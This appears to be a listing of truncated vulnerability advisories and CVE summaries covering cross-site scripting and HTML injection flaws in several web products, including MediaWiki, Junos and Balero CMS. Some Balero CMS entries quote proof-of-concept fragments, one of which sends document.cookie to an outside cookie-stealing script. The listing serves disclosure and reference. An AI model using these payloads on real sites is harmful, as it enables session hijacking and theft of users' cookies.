CVE-2015-2781

Cross-site scripting XSS vulnerability in cgi-bin/hotspotlogin.cgi in Hotspot Express hotEx Billing Manager 73 allows remote attackers to inject arbitrary web script or HTML via the reply parameter...

CVE-2014-9146

Multiple cross-site scripting XSS vulnerabilities in Fiyo CMS 2.0.1.8 allow remote attackers to inject arbitrary web script or HTML via the 1 view, 2 id, 3 page, or 4 app parameter to the default URI or the 5 act parameter to dapur/index.php...

CVE-2015-2781

CVE-2015-2781 describes a cross-site scripting (XSS) vulnerability in Hotspot Express hotEx Billing Manager 73, via the hotspotlogin.cgi parameter reply. A malicious user can inject script into pages viewed by other users; PoC shows script execution (e.g., alert(document.cookie)). The vulnerable ...

WordPress Floating Social Bar Plugin HTML Injection Vulnerability

WordPress is a set of WordPress Software Foundation's blogging platform developed using the PHP language, which supports personal blog sites on servers with PHP and MySQL. An HTML injection vulnerability exists in the WordPress Floating Social Bar plugin. This vulnerability allows attackers to...

MediaWiki HTML Injection Vulnerability

MediaWiki is a Wiki program. A security vulnerability exists in MediaWiki, which stems from the failure of the 'xmlparse' function in the Zend interpreter to properly expand entities. The vulnerability can be exploited by a remote attacker to inject arbitrary web script or HTML with the help of a...

CVE-2015-2932

Incomplete blacklist vulnerability in MediaWiki before 1.19.24, 1.2x before 1.23.9, and 1.24.x before 1.24.2 allows remote attackers to inject arbitrary web script or HTML via an animated href XLink element...

CVE-2015-2934

MediaWiki before 1.19.24, 1.2x before 1.23.9, and 1.24.x before 1.24.2 does not properly handle when the Zend interpreter xmlparse function does not expand entities, which allows remote attackers to inject arbitrary web script or HTML via a crafted SVG file...

CVE-2015-2934

MediaWiki vulnerability CVE-2015-2934 affects MediaWiki versions before 1.19.24, 1.2x before 1.23.9, and 1.24.x before 1.24.2. The issue arises from the Zend xml_parse function not expanding entities, enabling remote attackers to inject arbitrary web script or HTML via a crafted SVG file. Impact ...

CVE-2015-3005

Cross-site scripting XSS vulnerability in the Dynamic VPN in Juniper Junos 12.1X44 before 12.1X44-D45, 12.1X46 before 12.1X46-D30, 12.1X47 before 12.1X47-D20, and 12.3X48 before 12.3X48-D10 on SRX series devices allows remote attackers to inject arbitrary web script or HTML via unspecified vector...

CVE-2015-1773

CVE-2015-1773 affects the Apache Flex ASDoc tool. The vulnerability exists in the output HTML generated by asdoc/templates/index.html, where a crafted URI can cause JavaScript code generated by the asdoc component to execute, yielding a reflected XSS. Affected versions are Apache Flex before 4.14...

phpTrafficA 2.3 Cross Site Scripting

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Product: phpTrafficA Product page: http://soft.zoneo.net/phpTrafficA/ Affected versions: Up to and including 2.3 latest as of writing. Description: The user agent string provided by the browser is not sanitized nor escaped when handled. This string ...

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pent...

Balero CMS 0.7.2 Cross Site Scripting / SQL Injection Vulnerabilities

Balero CMS version 0.7.2 suffers from cross site scripting and SQL injection vulnerabilities. document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: input type="hidden" name="content" value...

Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...

CVE-2015-0876

Multiple cross-site scripting XSS vulnerabilities in the printlanguageselectbox function in classes/adminpage.inc.php in Saurus CMS Community Edition before 4.7 2015-02-04 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2015-0876

Multiple cross-site scripting XSS vulnerabilities in the printlanguageselectbox function in classes/adminpage.inc.php in Saurus CMS Community Edition before 4.7 2015-02-04 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2015-0876

CVE-2015-0876 affects Saurus CMS Community Edition, specifically the print_language_selectbox function in files like classes/adminpage.inc.php. The vulnerability is cross-site scripting (XSS) that could allow an attacker to inject arbitrary script or HTML into a user’s browser. Impact is browser-...

Balero CMS 0.7.2 Cross Site Scripting

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...

Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities

Summary Balero CMS is an open source project that can help you manage the page of your company with just a few guided steps, minimizing the costs that many companies make to have your advertising medium and/or portal. Description Input passed to the 'content' POST parameter and the cookie 'counte...

CVE-2015-2165

Multiple cross-site scripting XSS vulnerabilities in the Report Viewer in Ericsson Drutt Mobile Service Delivery Platform MSDP 4.x, 5.x, and 6.x allow remote attackers to inject arbitrary web script or HTML via the 1 portal, 2 fromDate, 3 toDate, 4 fromTime, 5 toTime, 6 kword, 7 uname, 8 pname, 9...